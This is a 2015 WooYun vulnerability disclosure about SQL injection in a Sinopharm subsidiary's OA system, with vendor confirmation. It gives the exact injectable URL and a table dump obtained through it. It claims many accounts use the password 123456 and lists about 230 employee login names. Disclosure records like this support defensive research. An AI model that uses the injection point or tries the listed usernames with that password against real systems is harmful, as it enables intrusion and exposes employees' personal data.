当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0147477

漏洞标题:国药集团某公司存在多处SQL注入漏洞(DBA权限/时间盲注/员工手机/邮箱等等)

相关厂商:国药集团

漏洞作者: Martial

提交时间:2015-10-18 09:56

修复时间:2015-12-05 20:42

公开时间:2015-12-05 20:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-18: 细节已通知厂商并且等待厂商处理中
2015-10-21: 厂商已经确认,细节仅向厂商公开
2015-10-31: 细节向核心白帽子及相关领域专家公开
2015-11-10: 细节向普通白帽子公开
2015-11-20: 细节向实习白帽子公开
2015-12-05: 细节向公众公开

简要描述:

RT

详细说明:

注入点
http://www.scrcoa.com/yyoa/common/js/menu/test.jsp?doType=101&S1=*

4.jpg


列举几个表和数量

+-----------------------------+---------+
| Table | Entries |
+-----------------------------+---------+
| udt_nodeprocinfo | 630980414 |
| nodetactics | 10352016 |
| p_nodetactics | 8655792 |
| flownode | 8438522 |
| udt_node | 7958054 |
| flownode_member | 4643323 |
| flow_branch | 4322367 |
| assess_node | 3215250 |
| p_flownode | 2744113 |
| p_flownode_member | 2604131 |
| flow_log | 1944099 |
| attachment_all | 1181994 |
| arc_folderitem | 971319 |
| boardsumnew | 891519 |
| document | 652701 |
| p_document | 508623 |
| commonnumbers | 482579 |
| oalogin | 438647 |
| oalogs | 327689 |
| hj_document_file | 314080 |
| udt_flow | 289991 |
| urge_item | 247343 |
| urger | 247343 |
| sms_log | 190318 |
| smssendcha | 190265 |
| doc_bbs | 92027 |
| board_potent | 74784 |
| assess_member | 71374 |
| arc_myfavorite | 69799 |
| assess_document | 41796 |
| portlet_channel_cfg | 39548 |
| utd_00245 | 37228 |
| publicinfobrowsehis | 33353 |
| utd_00322 | 31382 |
| utd_00456 | 29966 |
| messagehistory | 29462 |
| doc_appendix | 29460 |
| utm_00245 | 24729 |
| rel_info | 24434 |


然后登陆看下
很多弱口令 密码都是123456

anbao
ayx
baihua
bcl
bjcgb
bjcwb
bjgsqyxsb
bjgstryyb
bjgsxsb
bjgszzbsc
bjhd
bjkf
cdh
chendongqing
chenj
chenlei
chenpeisheng
chenxiangrong
chenyajun
cjj
cwm
cxh
cyj
cz
czl
czr
ddqr
demo
dengguangjun
dingjiwei
dingxh
dly
dxh
fc
fengjun
fm
fr
fzlqt
gaohong
gbj
gcy
ghp
gj
gkfxyy1
gkfxyy2
guanqiuyan
guojiujiang
guoshuai
guyuzhong
guzhihao
gyj
hejie
hett
hrintern
hsj
htx
huangjingxi
huangxin
hujian
huyongmei
hxk
hxpzx
hyj
jiangaofan
jiangxuemei
jilin
jjcw
jjgl
jjxd
jjzbcg
jjzbcw
jwm
jyw
kanglili
kedehong
kly
kr
lf
lfy
lh
lhy
liaoqinlin
lifei
lifeng
lij
liji
lijia
liling
limin
liuchunyan
liufang
liuqing
liuxn
liuzhaoying
lixin
lizhi
lmy
lujiong
lulj
luoqiangli
luquan
lxf
lyw
lz
lzl
minjie
nichuanhong
nihuimin
nj
nmj
npt
panwenyi
pcd
pgl
publication
qqz
queyujing
qxg
ryh
scx
sh
shenbinbin
shend
shenjie
shenli
shenxiaochi
shenzhibin
shiqiang
shizhan
sj
slj
smkx
songbin
songkai
sunlili
swd
sxgs
sygs
taoyonghong
tcgs
tsh
wangcy
wangerli
wangf
wangg
wangjiayan
wangling
wangwei
wangy
wgq
wlf
wnw
wp
wsn
wuheping
wuhong
wujin
wujinhua
wxz
wyb
wyf
wyz
xhf
xiaol
xiarunqiu
xinchaoben
xinyu
xjf
xrx
xujialin
xum
xurong
xuzengyi
yangrong
yangyaling
yangyl
yd
ydq
ydx
yeqian
ygl
yjb
yjj
yly
yqhczx
yuanlinghui
yzl
zc
zcf
zcj
zd
zfy
zhangcheng
zhangdongmei
zhangguorong
zhanghairong
zhanghong
zhangjp
zhangl
zhanglu
zhangnan
zhangwen
zhangxiaoli
zhangxueqi
zhangye
zhangyi
zhangzhigang
zhaoli
zhaona
zhengkaijun
zhongxiaoxiong
zhoujianwen
zhucaifang
zhuchuanming
zhuliqiang
zhuqian
zhuwenjia
zhuwenjun
zhuwenqian
zjx
zuochun
zwh
zyb
zyj
zyq
zzw


1.jpg


2.jpg


3.jpg

漏洞证明:

1.jpg


2.jpg


3.jpg

修复方案:

过滤

版权声明:转载请注明来源 Martial@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-10-21 20:40

厂商回复:

感谢漏洞作者,已通知下属企业整改

最新状态:

暂无